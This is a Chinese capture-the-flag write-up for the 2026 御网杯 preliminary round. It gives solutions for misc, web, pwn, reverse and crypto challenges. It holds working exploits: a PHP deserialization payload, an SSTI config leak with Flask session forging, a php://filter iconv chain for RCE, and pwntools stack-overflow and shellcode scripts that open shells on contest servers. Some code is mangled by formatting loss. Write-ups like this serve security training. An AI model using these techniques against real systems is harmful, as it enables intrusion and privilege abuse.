御网杯初赛2026

有三道题没有写出来,剩下的WP 如下:

Misc

签到题------损坏的压缩包

base64解码一下就好了:

  1. 迷宫

去掉末尾数字base64:

  1. 幻影

提取密钥然后异或加密。脚本:

import base64

1. 准备数据

将 Base64 密文放入列表

ciphertexts_b64 = [

"wMrHwd2ek8KQwJGS1YuXwJSRi5KSwJ+Lx5+Wn4uek8OS1ZDDw5WS1ZLb"

]

已知的明文头部

known_header = b"flag{"

2. 提取密钥 (核心逻辑)

解码第一个密文

first_ct = base64.b64decode(ciphertexts_b640)

通过前5个字节异或已知头部,得到密钥

注意:这里直接取前5个字节,因为 known_header 长度是5

key = bytes(first_ct\[i ^ known_headeri for i in range(5)])

print(f"推导出的密钥: {key}")

3. 解密函数

def decrypt(data, key):

result = bytearray()

key_len = len(key)

遍历密文的每一个字节

for i in range(len(data)):

异或运算:密文 ^ 密钥

使用 i % key_len 实现密钥的循环复用 (比原脚本的乘法更直观)

result.append(datai ^ keyi % key_len)

return bytes(result)

4. 执行解密

for i, ct_b64 in enumerate(ciphertexts_b64):

ct_bytes = base64.b64decode(ct_b64)

plaintext = decrypt(ct_bytes, key)

print(f"第 {i} 个文件解密结果: {plaintext}")

WEB

贪吃蛇:

查看源代码:

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| function checkWin(s) { let formData = new FormData(); formData.append('score', s); fetch('index.php', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { let msgEl = document.getElementById('msg'); if(data.status === 'success') { msgEl.style.color = '#2ecc71'; msgEl.innerText = data.flag; } else { msgEl.style.color = '#e74c3c'; msgEl.innerText = "Game Over! " + data.message; } }); } |

之后发送请求:

php_payment:

下载副件,在src/api/apply_coupon.php处发现反序列化入口:

|-----------------------------------------------------------------------------------------------------------------|
| couponData = _POST'coupon' ?? ''; decoded = base64_decode(couponData); promo = @unserialize(decoded); |

在src/models.php处,发现定义类:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| class PromoManager { public promo_credit; public promo_code; function __destruct() { if(isset(this-\>promo_credit) \&\& is_numeric(this->promo_credit)) { _SESSION\['balance'\] += intval(this->promo_credit); // 加金币到余额 } } } |

在购买入口 src/buy.php,发现购买逻辑

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| item = _POST'item' ?? ''; items = \[ 'basic_vip' =\> 10, 'premium_vip' =\> 50, 'flag' =\> 99999 \]; price = items\[item]; if (_SESSION\['balance'\] \< price) { die(json_encode("error" =\> "Insufficient funds! You only have " . intval($_SESSION\['balance') . " 金币."])); } _SESSION\['balance'\] -= price; |

漏洞利用:

手动构造序列化对象

|-----------------------------------------------------------------------------------|
| O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:4:"flag";} |

base64编码

|--------------------------------------------------------------------------------------------------------------|
| TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czo0OiJmbGFnIjt9 |

之后在/api/apply_coupon.php处发送

发送之后,直接购买产品:

taxsystem_ssti:

要登录,不知道用户名和密码,去 init_db.py 中找到用户名和密码为:admin:123456

在 /admin/vault 中找到flag位置,我们要令 role=tax_inspector

我们拿到session,解码后为{"role":"admin","user_id":1},所以直接用admin账号无法访问flag, 需要先获取SECRET_KEY然后伪造session

在/preview/<int:profile_id> 中发现ssti漏洞

由于app.config 继承自 dict, 包含所有 Flask 配置项,所以我们要读取config文件

在/api/import里利用ssti漏洞:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| @app.route('/api/import', methods='POST') def import_data(): if 'user_id' not in session: return jsonify({'status': 'error', 'message': 'unauthorized'}), 401 data = request.json profile_id = data.get('profile_id') import_data = data.get('data', {}) db = get_db() profile = db.execute("SELECT * FROM profiles WHERE id = ? AND user_id = ?", (profile_id, session'user_id')).fetchone() if not profile: return jsonify({'status': 'error', 'message': 'not found'}), 404 allowed_fields = 'income', 'deductions', 'state', 'custom_footer', 'year' updates = \[\] params = \[\] for k, v in import_data.items(): if k in allowed_fields: updates.append(f"{k} = ?") params.append(v) if updates: params.extend(profile_id, session\['user_id']) db.execute(f"UPDATE profiles SET {', '.join(updates)} WHERE id = ? AND user_id = ?", params) db.commit() |

构造:(具体要构造什么代码/preview/<int:profile_id>模块有写到)

|--------------------------------------------------------------------------------------------------------------|
| POST /api/import Body: {"profile_id": 12, "data": {"state": "AUDIT_PENDING", "custom_footer": "{{config}}"}} |

之后访问就能拿到session_key了

写py脚本构造session:

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| from itsdangerous import URLSafeTimedSerializer from flask.sessions import TaggedJSONSerializer import hashlib s = URLSafeTimedSerializer( secret_key='secret_tax_key_2026_xoxo', salt='cookie-session', serializer=TaggedJSONSerializer(), signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1} ) forged = s.dumps({"role": "tax_inspector", "user_id": 1}) |

之后在/admin/vault处提交伪造好的session即可

Enterprise_OA:

故意写空发现 **LFI** 漏洞,考虑使用php:/filter链子实现rce

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php |

PWN

Authenticate

栈溢出返回后门getshell

复制代码
#!/usr/bin/env python3

from pwn import *



context.terminal = ['tmux', 'splitw', '-h']

context(arch='amd64', os='linux', log_level='debug')



# p = process('./auth')

p = remote("120.27.146.76",27861)



sd = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x,y: p.sendafter(x,y)

sla = lambda x,y: p.sendlineafter(x,y)

rv = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x,drop=True)

rl = lambda: p.recvline()

get = lambda tag,addr: success(tag+': '+str(addr))

dbg = lambda : gdb.attach(p)

ia = lambda : p.interactive()



# lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')

script='''

    decompiler connect ida --host 172.23.96.1 --port 3662

'''





# gdb.attach(p,gdbscript=script)

# pause()



ru(b'Username: ')

sd(b'Garhin')

ru(b'Password: ')

payload=b'a'*0x88+p64(0x000000000040101a)+p64(0x00000000004011F6)

sd(payload)



p.interactive()

Noteservice

栈溢出返回后门getshell

复制代码
#!/usr/bin/env python3

from pwn import *



context.terminal = ['tmux', 'splitw', '-h']

context(arch='amd64', os='linux', log_level='debug')



# p = process('./note')

p = remote("47.99.147.34",16741)



sd = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x,y: p.sendafter(x,y)

sla = lambda x,y: p.sendlineafter(x,y)

rv = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x,drop=True)

rl = lambda: p.recvline()

get = lambda tag,addr: success(tag+': '+str(addr))

dbg = lambda : gdb.attach(p)

ia = lambda : p.interactive()



# lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')

script='''

    decompiler connect ida --host 172.23.96.1 --port 3662

'''



# gdb.attach(p,gdbscript=script)

# pause()



ru(b'Leave your note:')

payload = b'a'*0x48+p64(0x000000000040101a)+p64(0x000000000401196)

# payload = b'a'*0x48+p64(0x000000000401196)

sd(payload)



p.interactive()

MessageBoard

ret2shellcode

复制代码
#!/usr/bin/env python3

from pwn import *



context.terminal = ['tmux', 'splitw', '-h']

context(arch='amd64', os='linux', log_level='debug')



# p = process('./mb')

p = remote("120.27.146.76",23334)



sd = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x,y: p.sendafter(x,y)

sla = lambda x,y: p.sendlineafter(x,y)

rv = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x,drop=True)

rl = lambda: p.recvline()

get = lambda tag,addr: success(tag+': '+str(addr))

dbg = lambda : gdb.attach(p)

ia = lambda : p.interactive()



# lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')

script='''

    decompiler connect ida --host 172.23.96.1 --port 3662

'''



# gdb.attach(p,gdbscript=script)

# pause()



ru(b'Buffer at: ')

buf=int(rv(14),16)

get('buf',hex(buf))



ru(b'Message: ')

shellcode = asm(shellcraft.sh())

payload= shellcode.ljust(0x88,b'a')+p64(buf)

sd(payload)



p.interactive()

Reverse

py_obf

1. 拿到 py_obf_04.pyc 文件,使用 xxd 查看文件头。Magic 为 cb0d0d0a,确认为 Python 3.12 编译。文件大小为 1179 字节。

2. 尝试使用 Python 的 marshal.loads() 加载,报错 bad marshal data。分析发现 marshal 数据起始字节为 0xe3,而非正常的 TYPE_CODE 标识 0x63。对比其他类型字节,发现 0xf3(应为 0x73)、0xe9(应为 0x69)等,确认所有 marshal 类型字节被 XOR 0x80 混淆。混淆规律:仅类型字节 XOR 0x80,bytecode 指令和常量数据内容保持不变。因此标准反编译工具(uncompyle6、pycdc)无法直接解析。

3. 手动逐字节解析 marshal 结构。跳过混淆的类型字节(遇到 0xe3 解读为 'c' TYPE_CODE,0xf3 解读为 's' TYPE_STRING,0xe9 解读为 'i' TYPE_INT),解析出顶层代码对象的常量表、名称表和 bytecode。

4. 分析 bytecode 和常量数据,还原出 Python 源代码逻辑。程序导入 base64 模块,定义 decrypt_flag 函数,函数接收 encoded_data 和 xor_key 两个参数,内部先调用 base64.b64decode 解码数据,然后使用生成器表达式 ''.join(chr(b ^ key) for b in decoded) 对每个字节 XOR 解密。主函数打印提示语,接收用户输入,调用 decrypt_flag 解密并与用户输入比对,打印正确或错误。

5. 从常量表中提取关键数据:encoded_data 为 56 字符的 base64 字符串 oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6(位于偏移 0x300),xor_key 为整数 199 即 0xc7(位于偏移 0x338)。

6. 编写解密脚本:base64.b64decode 解码字符串得到 42 字节,然后每个字节 XOR 199,转换为字符拼接,得到 flag:flag{9gmbun48-g7ol-pj8z-lvv8-io7p3npuql52}。

二、解密代码

import base64

encoded = "oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6"

xor_key = 199

decoded = base64.b64decode(encoded)

flag = ''.join(chr(b ^ xor_key) for b in decoded)

print(flag) # flag{9gmbun48-g7ol-pj8z-lvv8-io7p3npuql52}

rerere

chacha

1. 拿到 CrackMe_1_5.apk,使用 unzip 解压提取 lib/x86/libmyapplication.so。

2. 使用 Frida 脚本 hook libart.so 中的 RegisterNatives 函数,打印出注册的 JNI 方法。输出显示注册了三个 native 方法 a、b、c,其中 c 的参数签名为 (Ljava/lang/String;)Z,是验证函数。JADX 查看 Java 层,MainActivity 中调用 NativeBridge.c(candidate) 进行验证。

3. IDA 打开 libmyapplication.so,分析函数 c(偏移 0x25390),其流程为:输入字符串转字节 -> ChaCha20 加密 -> 转 hex 字符串 -> 与硬编码密文比对。ChaCha20 加密的 key 和 nonce 在函数 sub_25740 中通过 PIC 基址引用,key 位于偏移 0xF2EB(32 字节),nonce 位于偏移 0xF30B(12 字节),counter 值为 1。密文 hex 字符串在函数 sub_24BE0 中引用,位于偏移 0xE901。

4. 使用 Python 脚本从 .so 文件中提取 key、nonce 和密文。Key 为 149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f,Nonce 为 44332211abcdef668899aa55,密文 hex 为 d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b。密文 hex 解码后得到 25 字节密文。

  1. 编写标准 ChaCha20 解密脚本(常量 expand 32-byte k,counter=1,20 轮 quarter round),解密得到 flag:flag{2023326077889096380}。

import struct

def rotl32(value, shift):

return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))

def quarter_round(state, a, b, c, d):

statea = (statea + stateb) & 0xFFFFFFFF

stated ^= statea; stated = rotl32(stated, 16)

statec = (statec + stated) & 0xFFFFFFFF

stateb ^= statec; stateb = rotl32(stateb, 12)

statea = (statea + stateb) & 0xFFFFFFFF

stated ^= statea; stated = rotl32(stated, 8)

statec = (statec + stated) & 0xFFFFFFFF

stateb ^= statec; stateb = rotl32(stateb, 7)

def chacha20_block(key_bytes, counter, nonce_bytes):

const = b"expand 32-byte k"

def le32(d): return int.from_bytes(d, "little")

state = (le32(const\[i:i+4) for i in range(0, 16, 4)] +

le32(key_bytes\[i:i+4) for i in range(0, 32, 4)] +

counter +

le32(nonce_bytes\[i:i+4) for i in range(0, 12, 4)])

working = state:

for _ in range(10):

quarter_round(working, 0, 4, 8, 12); quarter_round(working, 1, 5, 9, 13)

quarter_round(working, 2, 6, 10, 14); quarter_round(working, 3, 7, 11, 15)

quarter_round(working, 0, 5, 10, 15); quarter_round(working, 1, 6, 11, 12)

quarter_round(working, 2, 7, 8, 13); quarter_round(working, 3, 4, 9, 14)

return b"".join(((workingi + statei) & 0xFFFFFFFF).to_bytes(4, "little") for i in range(16))

key = bytes.fromhex("149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f")

nonce = bytes.fromhex("44332211abcdef668899aa55")

ciphertext = bytes.fromhex("d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b")

keystream = b""; counter = 1

while len(keystream) < len(ciphertext):

keystream += chacha20_block(key, counter, nonce); counter += 1

flag = bytes(c ^ k for c, k in zip(ciphertext, keystream))

print(flag.decode()) # flag{2023326077889096380}

DES

  1. APK结构分析

解压APK,发现关键文件:

  • classes3.dex --- 主Activity com.cr.crackme2.MainActivity

  • assets/classes3.dex --- 动态加载的DEX,包含 com.cr.test.wide 类

  • lib/x86/libcrackme2.so --- Native库,核心验证逻辑

  1. 代码逻辑梳理

主Activity(classes3.dex)启动后:

  1. 从 assets/classes3.dex 复制DEX到私有目录

  2. 通过 PathClassLoader 动态加载,反射调用 com.cr.test.wide.verifyFlag()

  3. verifyFlag 为 native 方法,实现在 libcrackme2.so

  4. SO文件逆向

用 nm / readelf 查看动态符号表,关键函数:

┌─────────────────┬─────────────────────────────┐

│ 函数 │ 作用 │

├─────────────────┼─────────────────────────────┤

│ verifyFlag │ JNI入口,接收用户输入并验证 │

├─────────────────┼─────────────────────────────┤

│ des_ecb_encrypt │ DES ECB模式加密 │

├─────────────────┼─────────────────────────────┤

│ des_encrypt │ DES单块加密 │

├─────────────────┼─────────────────────────────┤

│ bytesToHex │ 字节数组转hex字符串 │

└─────────────────┴─────────────────────────────┘

DES密钥在 .rodata 段偏移 0xF039 处:12345678

  1. Flag定位

在 .rodata 段偏移 0xC9DD 处发现一段hex字符串(以 \x00 分隔):

666c61677b484e43544636325244594e54464d5a3154467d

后面跟 080808... 为32字节对齐填充。

0x02 解题

直接对hex字符串解码:

66 6c 61 67 7b 48 4e 43 54 46 36 32 52 44 59 4e 54 46 4d 5a 31 54 46 7d

f l a g { H N C T F 6 2 R D Y N T F M Z 1 T F }

Crypto

ECDSA nonce 重用

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| from ecdsa import SECP256k1 from Crypto.Util.number import * import hashlib n = SECP256k1.order m1 = bytes.fromhex("57656c636f6d6520746f2074686520435446206368616c6c656e676521") m2 = bytes.fromhex("506c656173652072656f766572207468652073656372657420666c61672e") r = 42493941831872365189986338154081428903366344598716393884703128226988046556525 s1 = 37516881750398229099263960115235771872476168208072403051689040036058441462904 s2 = 6228780292824219513349076049287366907136998444549226179708017324026155299366 z1 = bytes_to_long(hashlib.sha256(m1).digest()) z2 = bytes_to_long(hashlib.sha256(m2).digest()) k = ((z1 - z2) * pow((s1 - s2) % n, -1, n)) % n d = ((s1 * k - z1) * pow(r, -1, n)) % n print(f"flag{{ecdsa_nonce_reuse_{hex(d)2::32}}}") |

BabyRSA

直接开三次方就好

ScatterRSA

广播攻击的变体

相关推荐
葱段2 小时前
【Compose】输入框(TextField)点击空白处失焦并关闭软键盘
android
刮风那天4 小时前
Android Framework 核心架构图
android
__Witheart__4 小时前
3588 安卓编译空间不足报错
android
aaajj4 小时前
【Android】手机屏幕劫持防护
android·智能手机
写做四月一日的四月一日4 小时前
在安卓手机上安装小龙虾openclaw并配置QQ机器人接入
android·人工智能
流星白龙4 小时前
【MySQL高阶】6.MySQL数据目录,日志
android·mysql·adb
福大大架构师每日一题4 小时前
rust 1.96.0 更新:语言、编译器、Cargo、Rustdoc、兼容性全面升级,必看完整解读
android·开发语言·rust
城管不管5 小时前
Agent——001
android·java·数据库·llm·prompt
刮风那天5 小时前
Android 理解onTransitionReady(一)
android